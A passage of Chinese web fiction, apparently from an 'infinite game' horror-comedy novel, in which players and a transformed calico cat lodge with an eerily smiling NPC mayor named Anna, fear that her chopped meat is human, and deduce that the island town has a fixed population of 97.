其他几人也跟了上来。站在高处的渔民们定定看了他们一会儿，仍是那副怪异的眼神，许久相继露出略带刻板的笑来。 “你们要留宿？” “是。”宋斐。 “你们，是海盗？我们不收留海盗。”有人说。 他们说话吐字的音调也相当怪异，就像是还不能熟练掌握这门语言一样，在咬字和断句上带着不合常理的生涩。 尽管天上艳阳高照，温度十分适宜，洛书亦却不自觉打了个寒战。他说不上来这些渔民到底是哪里不对劲，但身体本能地抗拒。 花黎看了洛书亦和纪铭一眼，小猫敏锐地感觉到了这两人的紧张。 倒是抱着他的宋斐，老僧入定一般，动也不动一下，声音也很稳：“就住几天，我们很快就走。给三个房间就够了。” “好吧。” 渔民们倒没有犹豫太久，彼此之间也无交流，就这么平淡地答应了下来，“你们可以，住在我们镇长家。他家比较适宜招待客人。” 这些渔民们说到做到，其中一位须发皆白的老渔民说完就放下了自己的渔具，向他们一行人招手，示意玩家们跟他走。 宋斐带头跟了上去，其他人踟蹰片刻，也跟上。 一路无话，老渔民的步速很快，与他的年纪极不相称，大步流星，在镇上的小道间穿梭，体力较差的洛书亦和纪铭到后来几乎跟不上。 这么走了许久，老渔民才停在了一个比周围其他房子要略大一些的尖顶红房子前。 “到了。” 几人都还没有说话，就听那老渔民气沉丹田一般，深吸一口气，大叫道：“镇长！开门——！” 这河东狮吼把他们几个玩家吓得一激灵。 不包括宋斐。 老渔民吼完这么一嗓子，仍然红光满面，双目无神，但脸不红气不喘，表情动作无一丝变化。 怪异。 所有人心里都这么想着，但无人敢直接开口指出这种怪异的违和，直到面前的红房子大门“吱呀”一声开了。 开门的是一个看上去不过二十出头的女孩。 “这几位想必就是远道而来的客人吧，欢迎来到寒舍，给大家的午餐已经准备好了，快进来用餐吧。我的家里有足够的房间提供给各位，希望你们在童话镇会有一段愉快的旅途回忆。” 老渔民朝年轻女孩点了个头，就转身离开了，女孩则笑着把他们四人一猫迎进了屋。 这间维京式建筑的内部比外面看起来还要宽敞，一进门就可以看到邻床的壁炉和壁炉前的长方形大餐桌，桌上果然如女孩说的摆满了面包、豆子汤、烤土豆、烤鱼一类的食物，相当丰盛。 食物的香气飘进鼻尖，纪铭的肚子率先叫了起来。 他们在船上只吃了些……猫罐头，虽然那猫罐头味道还算不赖，但也仅仅只是足以果腹而已。 他太饿了。 不过纪铭跟洛书亦两人都很乖，他们一路行来到现在，不自觉地将宋斐视作了主心骨，此时两人都没有轻举妄动，而是看向宋斐。 得到了宋斐肯定的眼神后，两个高中生才松了口气，眼睛放着光坐到了桌边。 这一桌斯堪的纳维亚式的料理，跟他们在地球上的时候唾手可得的麦记k记披萨海底捞烤肉什么的比不了，但对于现在的他们来说，当真是不可多得的大餐了。 他们迫不及待想吃了！ 唯有一直阴沉着脸缀在队伍最后的程凡，短促地笑了一声，尖锐道：“这鸿门宴你们都敢吃，我看搞死你们的难度也太低了，看来犯不着我亲自动手。” 而那位疑似童话镇镇长的年轻女孩，仿佛没有听见程凡说的话一般，面带温柔和善的微笑，一边往桌上端最后一碗汤，一边招呼还站着的宋斐和程凡：“你们也坐呀，一路从海上过来，风餐露宿，累坏了也饿坏了吧？” 宋斐微眯着眼，观察着这个女孩。 女孩似乎注意到了他的视线，会以一个亲切的微笑：“我叫安娜，是童话镇的镇长，欢迎你们来到这个镇子上。” 与之前见到的渔民们不同，这个叫安娜的npc，一举一动一颦一笑，都挑不出任何违和之处，就跟真正的活人一模一样。 在大家不知道她真实身份的情况下，恐怕即便说她是玩家，普通玩家也都会相信。 宋斐微微沉吟，上前一步，在桌前坐了下来。程凡冷哼一声，大约是怕错失什么情报，最后也不情不愿地坐下了。 安娜双手合十，坐在木桌的主位上，面前的银质餐具被擦得晶亮闪光，寒气森森。 只见她一坐下，便双手合十，闭上眼睛，口中念念有词。 “感谢主赐给我们如此丰盛的一餐，我们将会在接下来的三日内，尽情享用，分而食之，愿美好的食物永远与我们同在——” 她祷告的声音太低太低了，而且语速很快，在场的所有人都没有听清这女孩虔诚的祷告词。 唯有宋斐怀里小小的三花猫，耳朵尖上的聪明毛晃动了几下，抬起了小小的脑袋。 12、第十二章 安娜祷告完毕后，将餐桌正中最大的圆盘上罩着的金属保温罩取下，一股热腾腾的蒸汽顿时弥散出来，随之而来的是扑鼻的肉香。 “四只小羊羔，是刚刚降生在这个世界的胖乎乎的小羊哦，正是肉质最柔嫩的时候，用心褪了毛，将外皮烤得酥酥嫩嫩，抹上盐和胡椒粉，撒上各种香料……这就是一顿最好的午餐。” 安娜并不算一个很美的女孩子，这个npc身上有典型维京人的特点——苍白的皮肤、白金色的长直发，淡蓝的眼睛，薄嘴唇，鼻子周围几颗零零散散的雀斑。 整个人太过缺乏色素，打个不恰当的比方……有点像传说里的吸血鬼。 但她绝对是程凡一行人见过的最友善的npc之一，女孩甚至站起身，用干净的餐刀一块一块帮他们卸羊肉。 带着细小锯齿的餐刀挑断粘连的经络，切到羊羔的骨头上，发出细微的摩擦声。 洛书亦觉得胳膊上冒出了一排鸡皮疙瘩，下意识搓了搓胳膊。 安娜敏锐地察觉到了，抬头微笑：“冷吗？我可以把壁炉里的火烧得再旺一些。” “不……不冷。”洛书亦忙道。 “好的。” 四只羊羔身上最嫩的肉被细细切下来，均匀地分配给他们四位客人。 程凡等人这一路惊险跌宕，其实早就都饿坏了，香喷喷的羊羔肉一落到他们面前的盘子里，几人饿得都快眼冒绿光了，程凡毫不犹豫地一叉子下去，狼吞虎咽。 洛书亦和纪铭只是稍稍犹豫，就也紧跟着动了餐叉。 试探着吃了几口后，便按捺不住地大快朵颐起来。 只有宋斐，自始至终一动不动，甚至没有抬手去拿刀叉的意思。 “这位先生，你不吃吗？”安娜注意到宋斐就喝了几口冰水，忍不住问道。 “不饿。”宋斐说。 “你们在海上漂流了一天一夜，怎么会不饿呢？船上的食物储备很充足吗？”安娜笑笑。 宋斐沉默，左手捻着自己脖子上垂挂下来的银色十字架项链，细细摩挲。 安娜就这么微笑着盯着他看，大有他再不吃，她就要把肉喂到他嘴里的架势。 直到一个毛茸茸温温热的东西顶开了宋斐手中的串珠。 小猫将自己毛茸茸的小脑袋贴到了宋斐的手上，一个劲往他的掌心里蹭。从头顶，到脸颊，翻来覆去。 伴随着软软的叫声：“喵~~” 安娜的视线这才从宋斐的脸上转移到桌台下。 小小一只三花猫灵活地跳上宋斐的大腿，坐好，仰起小脑袋，对安娜：“喵咪~” 女孩微微一怔，已经向宋斐的方向前倾了少许的身体缓慢地退了回去，坐好，轻笑道：“好可爱的小猫，这是你的宠物吗？” 宋斐想了想：“不是，是我的朋友。” 花黎正在认真舔舐自己身上的长毛，闻言立马抬头，嘴角还沾了一小团白毛：“咪！” 【是你的朋友，你还只给了我9点喜爱值q.q你骗咪】 可惜，宋斐完全听不懂小猫的控诉。 他淡定地瞥了自己腿上的小猫一眼，又淡定地抬头，喝了一口水：“她同意了。” 花黎：q.q? 一桌子丰盛的午餐，前后不过二十分钟就被风卷残云般全数解决掉。程凡跟两个高中生酒足饭饱地靠在椅背上，有几分饭后瘟。危机已过，四下终于没有了怪物。血糖上升，温度恒定，暖融融舒服服。 午餐后安娜给他们安排了房间，一行四人，三间房，洛书亦跟纪铭自觉住了一间，余下的两间一间给宋斐，一间给程凡。 花黎在洛书亦跟纪铭的房间门口踟蹰了一会会，时而左爪在前，时而右爪在前，时而扒拉两下地板，原地磨蹭。 小猫还没纠结完，就被宋斐一只手捏着后颈肉，一只手托着猫屁股，带去了隔壁他的房间。 然后关上了门。 朝南的房间，屋外午后的阳光暖融融地洒进来，让喵只想打哈欠。 花黎看了宋斐一眼，后者在脱衣服——他们几人的衣服在海上的时候多少都弄湿了，现在虽然干了，但一拍衣服就簌簌往下掉白色的盐粒子。 小猫跳上床，抱着尾巴发呆。 楼下传来了菜刀剁肉和骨头的沉闷声音，咚，咚，咚，咚…… 花黎抱紧了尾巴。 他想起刚才安娜那仿佛意有所指的祷告词内容，又想起曾经在地球的时候偷偷翻看过的表哥的恐怖小说…… 呃呃呃啊啊咪咪…… 小猫放开了尾巴，抱住了自己的猫猫头。 在心中默念一万遍：我是怪物我不怕，我是怪物我不怕，我是怪物我不怕………… 隔壁房间传来了呼噜声，约莫是洛书亦他们睡着了。是啊，经历了这样一番海上惊魂，如今终于稍稍安稳下来，该是到了好好午休的时候了。 这边宋斐也脱下了他身上的衣服。海上风大浪大，他原本在单衣外着了一件长款黑色风衣，现在从外套到内搭都被他脱下，随手扔在了床上。 花黎的鼻子动了动。 小猫顺着床单的褶皱匍匐前进，来到了宋斐那摊黑衣服旁边，凑上前，嗅嗅嗅。 喵呜。 有种令咪安心的味道。 …… 宋斐一直正对着衣橱，边低头沉思边换衣服，脱下内搭的男人腹部线条紧绷，不用像某些刻意展示的群体一般费尽心机地找角度摆造型，只是随意地站在背光的阴影处，腹部肌肉的形状就随着他的动作显露无疑。 他拿出一件黑色工字背心套上身，然后从背心领口拉出被套在里面的银色十字架项链，微甩头发，长长的项链坠被甩到窗前，十字架雪亮发光。 换好衣服后，男人回过身，楼下咚咚咚剁肉的声音仍在持续，很有节律，一下不断，力道均匀，丝毫没有随着时间变长而卸了力道。 宋斐微微皱眉。 他拂了一把落到了眼皮上的碎发，抬头，看清床上此刻的景象后一怔。 干干净净的单人床，白色床单上是他的风衣外套，小小一只三花猫在他的风衣上做了个小窝窝，盘成圆圆的一团，已经睡熟了。 还打着小小的鼾。 午后的阳光落在小猫身上，散发出某种烤奶油一样甜甜的香味。 一个细思极恐的想法忽然冒了出来。 想把脸埋进去，用力吸一口。 宋斐觉得自己疯了。 他甩甩头，试图甩掉这个疯狂的想法，假作无事发生地在床边坐下，准备也睡一会儿。 安娜不对劲。不，这座岛上的npc，大概率都不怎么对劲。宋斐自然能看出来。 但他不在意。 不管这些npc打算对他们这一行人做些什么，都与他无关。他自信他不会死在这么个小小副本里，至于是否能完成任务，是否能通关，同行人是死是活，他并没有那么在意。 他本就不是为了通关或赚取积分而来的。 . “话说，我早就想问了，玩家积分总榜第一这个‘佚名’到底是谁啊？这人的积分怎么都甩出第二名十倍开外了？这是可以做到的么？？” 玩家大厅内，大家看见屏幕里童话镇副本小队的成员都睡起了觉，没什么特别的看头，就有人开始分神研究别的。 无限游戏内有多个榜单，其中个人积分总榜很少会有人去刻意关注，因为这个榜单跟国服玩家战力榜上的人员高度重合，与其看这个虚无缥缈的积分榜，不如直接看战力更直观。 但是有一点让人百思不得其解的是：积分榜排名第一的这位玩家遮掩了个人信息，只显示一个【佚名】，积分却遥遥领先，达到了不可思议的三千多万分！ 积分榜上第二名就是国服第一高手萧衡，这人以卷著称，几乎7x24小时不眠不休地下本，而且通关率高达87.6%，即便如此，他的积分却被【佚名】二十倍爆杀！ “哦，那应该是一个bug啦。你自己想想，萧衡这种劳模，不眠不休下本也才一千多万分，就是这一千多万也跟第三名断层了。这个第一名，除非把自己分成三等分，才能在游戏开始这短短一个月内给自己肝到三千多万吧。” “对，而且战力榜上其他人都能在积分榜上找到，那也就是说，这个佚名的战力都进不了国服前200，逻辑上根本说不通，所以肯定是bug。” 那个一开始提出疑问的玩家挠挠头，仔细一想，觉得确实是自己鲁莽了。 这么简单的道理，他怎么就没看出来呢。 一点儿不错，游戏里哪可能有这种不科学的存在啊，肯定是bug，肯定是bug。 . 程凡小队一行人一觉睡到了傍晚，队里其他人不知道，但游戏大厅的围观玩家看得很清楚，宋斐、洛书亦和纪铭的确是一直都在睡觉，但程凡其实中途下了一趟楼。 他手里紧握着他之前用来攻击过洛书亦他们的刀，鬼鬼祟祟地去窥探安娜在做什么。 几个小时，安娜一分钟也没有停歇，站在她的开放式厨房里，一刻不停地剁肉，剁肉，剁肉。 程凡躲在楼梯廊柱后偷窥，就这么定定盯着安娜的背影看了足足十分钟，看得有几分毛骨悚然，最后没敢上前做什么，将刀重又收回了背包里，灰溜溜回房间了。 回了房间后，程凡翻来覆去睡不着，就那么竖着耳朵一直听。 安娜当真连续剁了四五个小时的肉。 而且那剁肉的声音节奏，一次都没有乱过，如同时钟的倒数计时读秒一样，一下，一下，又一下。 程凡越听脸色越白，终于意识到了不对，颤巍巍把自己的刀拿出来，抱在手里，浑身紧绷。 墙上的挂钟在缓慢地走动。 窗外日头西落，云霞漫天，已经是傍晚，差不多该到晚餐时间了，但窗外的镇上一片静谧，没有炊烟，亦无人声。 安娜剁肉的声音停下了。 程凡脸色又是一白，连忙握紧了刀柄。 很快他便听见木质楼梯吱呀吱呀的声音，是安娜在上楼。 脚步声从楼梯上来，又顺着走廊来到程凡的门口，停顿住，程凡感觉心脏狂跳，血液奔流上涌，肾上腺素一瞬间上升到了极致。 他好像有点太松懈了。 这里再怎么说，也是恐怖游戏的sss级副本……他不应该把所有的注意力都放在海里的怪物上，岸上的npc也不见得是什么安全的货色。 妈的。程凡咬紧牙关，抓着刀，弓着背走到门后，紧贴着门旁边的墙站着，准备孤注一掷，等这npc一推门，他就一刀砍下去。 门把手果然被拧动了一下。 程凡：！！！ 他手里的刀已经高高举起，握着刀的手背上青筋暴突—— “卡啦”。 门把手弹回了原位。 外面的人似乎在门口停顿了几秒，然后再次响起脚步声。 脚步声从程凡的门口远去了，向着他右侧的房间行进，并且再次停下。 程凡缓慢地、长长地呼出一口气。 他右边房间，是宋斐那个混蛋装逼犯的。 意识到这点，程凡刚才那股血液上涌的感觉消失了，禁不住幸灾乐祸起来——这种鬼敲门的桥段，敲得还是隔壁的死人脸的门，那可真是爽翻了。 他听见隔壁的门被机械地敲响了三下。 咚，咚，咚。 这节奏，就跟一下午安娜剁肉的节奏一模一样。 程凡翘起了嘴角。 13、第十三章 程凡紧紧趴在墙边，竖着耳朵听隔壁房间的动静。 他做了这么多年混混，别的素质没有，至少足够胆大包天，刚才那种恐惧紧张的心情此刻早已随着安娜的离开荡然无存，取而代之的是一股子幸灾乐祸。 隔壁房门被敲响三下后，又传来吱吱呀呀拧动门把手的声音，就跟刚才程凡的门把手被拧动的声音一模一样。 她在开宋斐的门。 接下来就没什么声音了，只有一点窸窸窣窣的小动静。程凡听不出个所以然来，恨不得把门推开，当场出去看个究竟。 窸窸窣窣的动静响了一会儿，脚步声再次响起，远去，下楼。 安娜离开了。 程凡跟一张印度飞饼一样又在墙上贴了一会儿，因为太过入神，多少有几分紧张，身体产生了本能的冻结反应，他一动不动地又趴了一会儿，才直起身，缓慢地推开了房门。 宋斐那个混蛋死了么？ 呵呵。 他双手插进裤兜，弓着背，十足幸灾乐祸地踱到隔壁。 宋斐的房门虚掩着，留了一道半个手掌款的门缝，程凡往脚下看，没有血迹一类的东西。 也没有什么奇怪的味道。 他直接把门推开了。 “……？” 屋内，一人一猫同时回头，二脸莫名其妙地看着他。 只见宋斐那个混蛋装逼犯靠坐在床边，一条腿支着，一条腿放在床上，将那只天杀的三花猫npc圈在他的腿中间。 而那只猫，此刻正老神在在地趴在床上，面前放了只碗，碗里放了满满当当的肉泥。 香喷喷的。 ……新型猫饭？ 程凡石化当场。 小三花猫抬头以后看见进来的是他，一双琥珀色的大眼睛无聊地耷拉下眼皮，似乎对他毫无兴趣且不屑关注，默默低头又吃起了它的猫饭。 冷着一张脸靠在床边的宋斐大约是看出了程凡心中所想，没头没尾道：“安娜送来的。” “……安娜？那个npc？那个他妈……剁了一下午不知道什么肉什么骨头的恐怖分子？你他妈说她给这傻猫送吃的？？？”程凡觉得宋斐这鸟人在把他当猴耍！ “有什么问题么？”宋斐，“猫饭的肉泥本来就是要剁的。” “还他妈连骨头一起剁？？？” “猫需要骨头里的钙质。” …… 程凡一脸魔幻地走了。 等程凡消失在门口以后，宋斐低头看着小猫：“他走了。” “咪嗷~” “你似乎不怎么喜欢他。”宋斐若有所思，片刻，没等小猫的回答，显然自己又找到了解释，“算了，当我没说。这人确实毫无优点。” “咪！”确实！霸凌别人的人都是坏蛋！ 宋斐偏了偏头，看向小猫碗里的“生骨肉”：“所以，这是什么东西的肉？能吃出来么。” 花黎摇头：“喵嗷……”吃不出来喵……感觉不像常规的肉，但应该……也不是人肉……吧…… 小猫四只爪子蜷起，打了个小冷战，想起刚刚安娜满脸微笑来送猫饭时的样子。 那个女孩还伸手薅了他脑袋上的毛几把。 花黎扒拉了两下脑袋上的毛，确实是毛茸茸的，很好摸。 他总觉得，那女孩并没有恶意。 至少对他没有，喵。 不谈先前吃午饭的时候，也不谈其他，至少这个叫安娜的npc在给他送猫饭的那一刻，眼底亮晶晶的光芒和眼中的笑容是很真诚的。 小猫不会错看一个坏人，也不会误解一个好人喵。 花黎也不知道他想表达的意思宋斐理解了多少，只看见眼前的男人垂眸沉思，恰好此时楼下的安娜又热情洋溢地招呼大家吃晚饭了，二楼紧挨着的几间房门边相继打开，他们这一行玩家一个个慢吞吞地下了楼，再次在餐桌前坐好。 只是，这一次，跟午餐时最大的不同就是——洛书亦和纪铭二人脸色苍白发青，拿餐具的手都在轻微地颤抖。 显然，他们也听见今天下午安娜那诡异的剁肉声了。 安娜仿佛没看见她的客人的惧怕，如之前一般满面笑容地将一盘又一盘美食端上餐桌，这次，她餐前祷告的声音比中午要大了一些。 “感谢主赐给我们如此丰盛的一餐，我们将会在接下来的三日内，尽情享用，分而食之，愿美好的食物永远与我们同在——” …… 这一次，所有人都听见了她祷告的内容。 除了宋斐以外，所有人都在瞬间变了脸色。 以至于当安娜祷告完毕后乐呵呵地招呼大家一起用餐时，洛书亦在极为勉强地吃了一口面前不知是什么的肉时，被那股淡淡的肉腥味刺激得当场呕了起来。 肉被咀嚼成了肉糜，又吐到了他面前的盘子里。 安娜只是微笑着道：“啊，可惜了，这是很难得的肉呢。” 纪铭白着脸问：“这就是安娜小姐下午剁的肉……么？” “是啊，是其中的一部分。”安娜坦然道，“怎么，是味道奇怪么？可能是因为冻久啦，冷冻久了的肉，我们都管它们叫死肉，味道总是会比新鲜斩杀的要差一点点。” 这顿晚饭后来谁也没吃好。 除了宋斐，面无表情地喝了好几碗豌豆汤，并在安娜给他加汤时赞美了安娜的厨艺。 其他三人都用一种见了鬼般的表情看他。 吃完晚餐后洛书亦跟纪铭惨白着脸颤颤巍巍提出要帮安娜收拾洗碗，安娜笑眯眯说不用，两人也不敢再多说什么，仓促点了头，就逃之夭夭上楼了。 最后只剩下宋斐跟程凡——当然，还有一直都被宋斐紧密带在身边的花黎。宋斐上楼前，问安娜是否有镇上的地图，安娜欣然应是，从客厅的橱柜里翻出一张绘制简略的地图递给了宋斐。 宋斐谢过了安娜，就抱着猫也上楼了。 这边宋斐回了自己房间，刚准备带上门，就见洛书亦跟纪铭赶急赶忙地来了，他看见两人的脸色，大概也猜到了他们的诉求。 “进来吧。”宋斐收回准备关门的手，镇定坐回了床边。 两个高中生立马露出松了一口气的表情，跟了进来，然后回身反锁上门。 宋斐越过两人紧张兮兮的身影看见他们的动作，随口问：“害怕安娜追上来？” “嗯……嗯。”洛书亦。 “怎么。”宋斐直觉这两人来他的房间，除了是害怕想跟他报团取暖外，大约还有别的话要说。 洛书亦跟纪铭互看一眼，踟蹰了几秒，才小声开口：“我们怀疑，刚刚安娜小姐给我们吃的那个肉……是……” “人肉？”宋斐语气没什么起伏地。 “对。确切的说，是我们玩家死后做成的肉……”洛书亦越说脸色越难看，嘴唇隐隐发抖，“宋斐哥，你听见她刚刚说的那个祷告词了么？什么‘在接下来的三日内尽情享用，分而食之’……三日内，分而食之，这种词，怎么听都不像是正常吃饭的时候的祷告词吧！” 纪铭也插话道：“没错，除了祷告词以外，她说今天那个很腥的肉‘冻了很久’什么的……我觉得也不太对劲。就好像，就好像……” “好像什么？”宋斐十分冷静。 “就好像……给我们吃的，就是上一次进了童话镇本的那支队伍里的玩家一样……” 最后这句话似乎光是一个字一个字说完，就已经耗尽了纪铭全身的力气。不知他想象到了怎样一番场景，整个人面色从苍白到蜡黄，又难以抵御地干呕起来。 花黎趴在宋斐怀里，担忧地看着自己曾经的同学们，“喵”了一声。 ——别害怕，我会努力保护你们的。 宋斐则从头至尾都冷静得过分。 “你们太恐慌了。”只听他平淡地说道，“这些都是因为你们下午怀疑安娜不对劲以后自己的想象跟猜测，不要自己吓自己。” 两个高中生拖着两张苦瓜脸，虽然理智上知道宋斐说得对，情感上却仍是恐慌得难以自抑。 花黎用爪爪拍了拍宋斐的胳膊。 “？”宋斐低头看向小猫。 小猫又“咪嗷”一声，示意宋斐放他下去，然后就两只前爪撑着宋斐的胳膊，小屁股费劲往上挤，努力做了个引体向上的姿势。 宋斐看了小猫这样好笑，一张冰川般的脸龟裂，终于：“噗。” 小猫也挣出了男人的怀抱。 花黎挨个扯了扯他的两位老同学的裤脚，又用尾巴勾上他们的小腿，以示安慰：“喵咪咪咪~”别担心啦，安娜是个好人~~ 洛书亦看到主动向自己示好的小猫，脸上也终于浮现出了一丝惊恐以外的宽慰神色，他俯下身，将小小的三花猫抱起来，将脸埋进小猫背上轻轻蹭了蹭。 奶油般的香甜味。 蹭了一会儿，洛书亦才抬起头，黯然道：“也不知道这样的日子，到底什么时候是个头……也不对，说不定很快就是尽头了呢。”他们生命的尽头。 “……别说这种丧气话啦。”纪铭嘴上这么说着，但眼神却跟洛书亦异曲同工地丧。 他们从来没有如此深刻地感受到，死亡的阴影就笼罩在自己的头顶。 洛书亦抱着小猫也在床边坐下，一只手轻轻为小猫梳理着背上的毛发，小三花舒服地眯起眼睛，发出轻轻的呼噜声。 他的目光黑沉空洞，呆呆看着小猫。 “也不知道我爸妈跟妹妹在哪儿，自从进了这个游戏，就再也没有见过他们了……我一直不想轻易放弃，因为我想下副本攒币换寻人道具。但是这么久过去了，也没攒到几个钱……唉。” “……”纪铭垂下眼，“嗐，别提了，还不知道我们能不能从这个本出去呢。我爸妈倒是在，但我怕我这趟是出不去了，估计以后也没机会再见了。” 屋内陷入了漫长的沉默，唯有烛台上燃烧动物油脂照明的噼啪声。 洛书亦跟纪铭到底都只是十七八岁的高中生，过往的经历只有家和学校两点一线，生活中最大的烦恼也不过是月考掉出了年级前二百。 “咪——嗷——”小猫被摸爽了，伸了个大懒腰，张大嘴露出尖尖的小牙，打了个带声音的哈欠。 洛书亦盯着小猫的两眼发直，也不知道想到了什么，拎起小家伙两条前腿，在空气里把整个猫抖了抖。 翻过来，掉过去。 抖抖—— 花黎：？？？？咪？？？ 另外两人看向他。 他把被抖得头昏眼花的小猫放回原处，才尴尬道：“我就是想知道这只小猫到底还有什么特殊之处……对不起，就当我病急乱投医吧……” “喵。” 小猫呆呆的。 洛书亦摸鼻子：“……可能是我想多了吧。” 屋内再次陷入了沉默，宋斐始终没有说话，洛书亦跟纪铭也若有所思。 的确，他们都是c级，他们也知道自己很弱小，但人总归有求生本能，即使弱小如他们这样的普通高中生也不例外。 自从进入这个无限游戏以后，洛书亦时常会想到花黎——当年的花黎甚至比他们还瘦小，但硬是扛下了很多令他们望而生畏的事，甚至在那样堪称穷凶极恶的校园环境下，还一鼓作气考上了重点高中。 有的人可能天生就适合做主角吧……跟他不一样。 洛书亦有些丧气。 纪铭心态比洛书亦稍微好那么一点点，他一边心不在焉地揉捏着床上的小猫爪爪——遭到了猫爪的拒绝三连——一边问宋斐：“宋斐哥，如果真能通关的话，sss级副本应该会送很多积分跟游戏币吧？” “嗯。”言简意赅，宋斐式回答风格。 “那你有什么打算么？你有什么看中的商城道具不？” 现在自然不是讨论通关后买买买的好时机，然而气氛实在太过沉郁紧张，纪铭下意识想缓和一下气氛。 当然，他也确实对宋斐这个人有些好奇。毕竟当初宋斐明知他们要下sss级副本，还主动加入，这种送人头行为，他实在是想知道背后到底有什么动机。 “我不是为了积分跟游戏币。”宋斐说。 “？”纪铭张大了个嘴，“……那是为了？” “我要找人。” “噢噢噢，那不还是为了游戏币么？你跟书亦一样想攒币在商城买寻人道具啊。” 床上的小三花猫忽然支起了小脑袋：“咪！”我也是！ “我不是。” “蛤？”“呃？”“咪？”0.0 宋斐看了旁边三脸懵逼的两人一猫，面无表情：“商城里的寻人道具至少要知道对方的名字，我不知道他的名字。” “蛤？？”“呃？？”“咪？？”=口=？ 宋斐懒洋洋地靠在床后面的窗台上，白色床帘拂上他的肩膀，被他顺手拨开。身着工字背心的男人一身隐忍勃发的肌肉，胳膊上突出的青筋下似乎蕴藏了无尽的能量。 他的目光飘向一片黑暗的窗外。 “我不知道他的名字，也不知道他长什么样，只大概知道有这么个人存在。我想找到他。” “这……”洛书亦咋舌，“宋斐哥你这情况……那就算真找到了，你能认得出他来……么？” “我认得出。”宋斐一丝犹豫也无。 “那你打算怎么找呢？你要找的人在这个副本里？” 宋斐收回目光：“我不确定，但我知道他肯定在这个游戏内的某处。或许是玩家，或许是怪物，也或许是，被隐藏起来的宝物，通关后才能获取的奖励。都有可能。” 洛书亦瞠目结舌地：“所以……你打算把每一种可能都试试？把每一个副本都探个遍？？？” 就像打一个地图茫茫的大世界游戏，按照宋斐这个意思，他的目标必然就得是在游戏全通的基础上，还要尽可能多地打出各种成就，挖掘所有隐藏支线和地图。 只为了找到一个，他甚至不知道姓甚名谁的人。 “嗯。”宋斐。 ……这可真是个怪人。 洛书亦和纪铭几乎同时在心中讷讷感慨。 而那只小小的三花猫，眼睛湿漉漉的，匍匐走到宋斐旁边，贴着他坐下。 然后伸出小舌头，轻轻舔了舔宋斐的手背。 宋斐低头。 猫：（流泪猫猫头） 宋斐：？ 花黎in流泪猫猫头os：宋斐大哥二号！我懂你qwq！！！ 宋斐：…………？ 这猫，眼泪鼻涕糊了一脸。 是猫瘟还是猫鼻支？ 宋斐默默从包裹里掏出他昂贵的治愈药水，对着小猫的脸，喷了三下。 14、第十四章 “啊……啊啾——” 小猫打了个不大不小的小喷嚏，下意识抬起爪爪揉脸，皱着一张小脸巴巴望着宋斐。 为什么忽然喷咪！！！ 花黎不大高兴，在宋斐的大胸肌上蹬了一脚，整只猫像一只三色小皮球一样弹射了出去。 宋斐：“…………不是猫鼻支猫瘟啊。” 胸部遭受了重创，再是冷脸帅哥也不得不弯腰揉了揉自己的胸部。 原本这个房间内情绪低迷，洛书亦跟纪铭都是强撑着，见状终于笑出了声来，凝滞的空气不攻自破。 小猫在角落坐得笔直，给自己舔毛，小舌头把胸口长长的毛拉成了圣诞老人的胡子，越拉越长。 洛书亦帮小猫将黏在舌头上的长毛梳理下来，得到小猫感激的一声“咪~”，他忍不住柔缓了脸色：“小家伙，如果你真的有什么特异功能就好了。救救我们吧，哎——” 尽管洛书亦心中很清楚，将希望寄托于一只小猫的身上，也许跟老年人走至人生低谷，笃信神佛是一样的吧。 “喵——” 小小三花猫在他手背上蹭了一下。 洛书亦笑了。 可惜他听不懂小猫的语言，如果他能听懂，就会知道，小猫在说【放心，我一定会保护你们哒——】 小插曲过后，宋斐拿出了刚才安娜给他的童话镇地图。 这是一张十分简易的手绘地图，只有简单的勾线，大致画出了城镇的道路和地块，洛书亦跟纪铭凑上前来，都耗费了一番功夫才勉强看懂。 宋斐凝眸，看得认真。 “宋斐哥，你要城镇地图是准备做什么？” 原本在跟宋斐闹小脾气的小猫也迈着小碎步溜达过来，探出猫猫头：“喵咪咪？” 宋斐道：“我来的时候观察过，这个镇子上的居民房屋遵循了某种规制，一人居住的房子，两人居住的房子，三人的、四人、五人的家庭房，都是严格按照家庭人数搭建的，规格固定。也不存在任何空置的房屋或者无家可归的人。 “整个镇上，只有安娜的房子不符合规格，就像是特意留着空间准备让人留宿的。” “这有什么问题么？毕竟是游戏里被设计好的npc，遵循规制很正常吧。” “不正常。我下过很多副本，npc都是高度模拟真实世界生活的，不会这么机械得不合常理。” 洛书亦跟纪铭都没有理解宋斐的用意，只有花黎，琥珀色的大眼珠转了转，若有所思。 副本中的社会是模拟正常人类社会，正常人类社会不可能遵循如此死板的结构。人们会结婚，也会离婚，婚后可能生孩子也可能不生，可能生一个也可能生两个、三个……因此人们居住的房屋规格必然不可能完全跟家庭人头绑定。 如果严格绑定，那就证明，这个“童话镇”的人口数量，常年是不会有任何变化的。 这是一潭死水一般的镇子。 那也就说明了…… 宋斐放下地图，他扫了一眼，就已经按照地图上的房屋规格算出了整个镇子的人口。 不多不少，刚好97个。 97个，加上他们三个除了程凡以外的玩家，正好是100个人。 ……就跟塞壬要求程凡献给他的尸体数量一样。 “那条人鱼，是算好了的。”程凡淡淡道，“而且，这个镇子上的居民，多半也不是真正的人类。” 屋内的温度仿佛随着他这句话降至了冰点，洛书亦跟纪铭脊背发寒，额角滚下冷汗。 恰好此时，房门又被机械地敲响了三下。 咚。咚。咚。 屋外响起那个熟悉的、也令他们分外毛骨悚然的年轻女声。 “请开门，我来给大家送宵夜了。^_^” “…………” 两个高中生眼里是明晃晃的恐惧，他们紧盯着那扇房门，都不由自主向着屋子里侧缩了一点，仿佛门后是会将他们吞噬殆尽的深渊。 只有一个小小的影子哧溜一下窜到了门边。 小猫后腿一个用力，起跳，扒拉在了门把手上，像荡秋千一样荡了两下，房门应声而开。 洛书亦&纪铭：sos—— 两人惊恐地闭上了眼睛——刚才宋斐的全员非人论实在是太有冲击力，加上安娜那剁了一下午的不知成分的肉、那诡异的祷告词、那永远微笑的眉眼……此刻这里的每一件事在他们眼里都诡异到了极点。 可闭上眼后，只听见了小猫咪舒服的呼噜呼噜声。 两人便又小心翼翼地睁开眼。 只见那个安娜正蹲在地上，温柔地抚摸着那一小团三花猫团。小猫团团埋头吃着木餐盘里的肉，小嘴巴快速地上下翻动，吧唧吧唧。 满屋都是肉香味。 就连这个诡异npc脸上的笑容，都比先前真诚了许多。 不过仅限于看着小猫时，等到安娜再次抬头面对三位玩家，便又换上了她的标准微笑皮肤。礼貌但并没有什么歉意地：“抱歉，时间仓促，只来得及准备了小家伙的夜宵。各位客人可以早点睡觉。”就不饿了。 洛书亦跟纪铭瞠目结舌地看着他们眼里的诡异npc转过身，最后看了一眼小猫，然后又一脸姨母笑地出去了。 ？ 